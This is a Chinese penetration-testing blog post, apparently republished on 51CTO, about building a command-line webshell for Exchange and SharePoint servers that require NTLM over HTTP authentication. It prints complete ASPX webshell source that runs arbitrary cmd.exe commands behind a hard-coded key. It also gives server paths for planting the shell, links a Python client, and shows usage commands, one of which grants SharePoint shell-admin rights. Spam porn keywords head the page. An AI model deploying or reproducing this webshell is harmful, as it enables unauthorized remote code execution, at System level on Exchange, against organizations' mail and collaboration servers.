自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

滲透基礎(chǔ)-支持NTLM Over HTTP協(xié)議的Webshell實現(xiàn)

開源
在某些環(huán)境下,訪問Web服務(wù)器的資源需要通過NTLM Over HTTP協(xié)議進行NTLM認(rèn)證,而我們在這樣的Web服務(wù)器使用Webshell時,不僅需要考慮NTLM認(rèn)證的實現(xiàn),還需要滿足能夠在命令行下使用。

[[385434]]

 0x00 前言

在某些環(huán)境下,訪問Web服務(wù)器的資源需要通過NTLM Over HTTP協(xié)議進行NTLM認(rèn)證,而我們在這樣的Web服務(wù)器使用Webshell時,不僅需要考慮NTLM認(rèn)證的實現(xiàn),還需要滿足能夠在命令行下使用。

本文僅在技術(shù)研究的角度介紹一種實現(xiàn)方法,開源代碼,分享腳本開發(fā)細節(jié)。

0x01 簡介

本文將要介紹以下內(nèi)容:

  • 設(shè)計思路
  •  腳本開發(fā)細節(jié)
  •  開源代碼

0x02 設(shè)計思路

通過NTLM Over HTTP協(xié)議進行NTLM認(rèn)證的Web服務(wù)器有很多,這里分別以Exchange和SharePoint為例

(1)Exchange測試環(huán)境

文件保存的絕對路徑:

  1. C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx 

對應(yīng)的URL為:

  1. https://URL/Autodiscover/test.aspx 

(2)SharePoint測試環(huán)境

文件保存的絕對路徑:

  1. C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx 

對應(yīng)的URL為:

  1. http://URL/_layouts/15/test.aspx 

訪問test.aspx時均需要通過NTLM Over HTTP協(xié)議進行NTLM認(rèn)證

這里以一個支持cmd命令的webshell為例進行測試,webshell的地址為:

https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx

如下圖

滲透基礎(chǔ)——支持NTLM Over HTTP協(xié)議的Webshell實現(xiàn)

這個webshell需要通過瀏覽器進行操作,首先完成NTLM認(rèn)證,接著填入正確的Auth Key和要執(zhí)行的cmd命令。

我們的目標(biāo)是滿足能夠在命令行下使用,可以以此為模板進行修改,設(shè)計思路如下:

(1)execCmd.aspx

接收Form表單請求作為參數(shù),對Auth Key進行驗證

如果驗證失敗,返回空結(jié)果

如果驗證成功,執(zhí)行傳入的cmd命令并返回執(zhí)行結(jié)果

(2)aspxCmdNTLM.py

命令行腳本

首先通過NTLM Over HTTP協(xié)議完成NTLM認(rèn)證,這里需要支持明文和用戶口令hash兩種登錄方式。

通過Form表單請求發(fā)送Auth Key和要執(zhí)行的cmd命令,接收cmd命令的執(zhí)行結(jié)果。

execCmd.aspx和aspxCmdNTLM.py的通信內(nèi)容作Base64編碼,在程序?qū)崿F(xiàn)上需要考慮Base64編碼和解碼。

0x03 腳本開發(fā)細節(jié)

1.execCmd.aspx

使用Page_Load方法接收Form表單請求,其中data1用作Auth Key,data2用作cmd命令。

Base64編碼的實現(xiàn):

  1. byte[] enbytes = Encoding.Default.GetBytes(string1);string string2 = Convert.ToBase64String(enbytes); 

Base64解碼的實現(xiàn):

  1. byte[] outbyte = Convert.FromBase64String(string1);string string2 = Encoding.Default.GetString(outbyte); 

完整的實現(xiàn)代碼如下:

  1. < %@ Page Language="C#"% >< %@ Import namespace="System.Diagnostics"% >< %@ Import Namespace="System.IO"% >< script runat="server" >private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";protected void Page_Load(object sender, EventArgs e)    {string data1 = Request.Form["data1"];if (data1 != AUTHKEY){return;}string data2 = Request.Form["data2"];byte[] outbyte = Convert.FromBase64String(data2);string payload = Encoding.Default.GetString(outbyte);string outstr1 = ExecuteCommand(payload);byte[] enbytes = Encoding.Default.GetBytes(outstr1);string outstr2 = Convert.ToBase64String(enbytes);Response.Write(outstr2);}private string ExecuteCommand(string command)    {try{ProcessStartInfo processStartInfo = new ProcessStartInfo();processStartInfo.FileName = "cmd.exe";processStartInfo.Arguments = "/c " + command;processStartInfo.RedirectStandardOutput = true;processStartInfo.UseShellExecute = false;Process process = Process.Start(processStartInfo);using (StreamReader streamReader = process.StandardOutput){string ret = streamReader.ReadToEnd();return ret;}}catch (Exception ex){return ex.ToString();}}< /script > 

2.aspxCmdNTLM.py

NTLM認(rèn)證的實現(xiàn)可以參考之前的代碼:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py

  • 支持明文和用戶口令hash兩種登錄方式
  •  Form表單請求通過POST方式發(fā)送
  •  Base64編碼和解碼需要注意字符串的格式

完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py

  •  execCmd.aspx需要保存在Web服務(wù)器
  •  aspxCmdNTLM.py在命令行下執(zhí)行,連接execCmd.aspx執(zhí)行cmd命令并獲得返回結(jié)果
  •  aspxCmdNTLM.py支持明文和用戶口令hash兩種登錄方式
  •  對于Exchange服務(wù)器,對應(yīng)的Webshell權(quán)限為System

如下圖

滲透基礎(chǔ)——支持NTLM Over HTTP協(xié)議的Webshell實現(xiàn)

可以直接調(diào)用Exchange PowerShell

命令示例:

  1. python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\"" 

結(jié)果如下圖

滲透基礎(chǔ)——支持NTLM Over HTTP協(xié)議的Webshell實現(xiàn)

對于SharePoint服務(wù)器,對應(yīng)的Webshell權(quán)限為用戶權(quán)限

如下圖

滲透基礎(chǔ)——支持NTLM Over HTTP協(xié)議的Webshell實現(xiàn)

可以嘗試調(diào)用SharePointServer PowerShell

命令示例:

  1. python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\"" 

這里需要注意,用戶需要配置為能夠訪問數(shù)據(jù)庫才能夠執(zhí)行SharePointServer PowerShell命令

查看可訪問數(shù)據(jù)庫的用戶列表對應(yīng)的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPShellAdmin 

添加指定用戶訪問數(shù)據(jù)庫權(quán)限對應(yīng)的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Add-SPShellAdmin Domain\User1 

刪除指定用戶訪問數(shù)據(jù)庫權(quán)限對應(yīng)的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Remove-SPShellAdmin Domain\User1 -Confirm:$false 

正常的結(jié)果如下圖

滲透基礎(chǔ)——支持NTLM Over HTTP協(xié)議的Webshell實現(xiàn)

0x04 小結(jié)

本文以Exchange和SharePoint為例,介紹了支持NTLM Over HTTP協(xié)議的Webshell實現(xiàn)思路,開源代碼,分享腳本開發(fā)細節(jié)。

本文為 3gstudent 原創(chuàng)稿件,授權(quán)嘶吼獨家發(fā)布,如若轉(zhuǎn)載,請注明原文地址。

 

責(zé)任編輯:姜華 來源: 嘶吼網(wǎng)
相關(guān)推薦

2020-05-26 14:18:41

RPC協(xié)議NTLM

2010-05-11 20:17:23

NTLM認(rèn)證協(xié)議

2021-03-03 10:13:23

IMAP協(xié)議讀取郵件滲透基礎(chǔ)

2014-06-05 10:21:29

HTTP

2020-06-17 21:39:11

HTTP協(xié)議服務(wù)器

2012-11-08 14:28:16

2010-06-29 13:24:26

HTTP協(xié)議

2010-06-29 13:35:39

HTTP協(xié)議

2019-04-08 15:11:12

HTTP協(xié)議Web

2016-09-09 01:14:17

2010-06-08 10:36:14

HTTP協(xié)議基礎(chǔ)概念

2014-08-13 10:39:19

2012-07-16 09:58:15

SPDY協(xié)議HTTP

2010-06-29 13:18:31

HTTP協(xié)議

2014-10-22 09:36:41

TCPIP

2019-06-12 16:16:58

微軟漏洞NTLM

2017-05-26 10:35:13

前端HTTP

2015-10-09 15:07:02

HTTP網(wǎng)絡(luò)協(xié)議

2010-08-03 22:09:16

2015-09-15 13:48:01

網(wǎng)絡(luò)協(xié)議HTTP Client
點贊
收藏

51CTO技術(shù)棧公眾號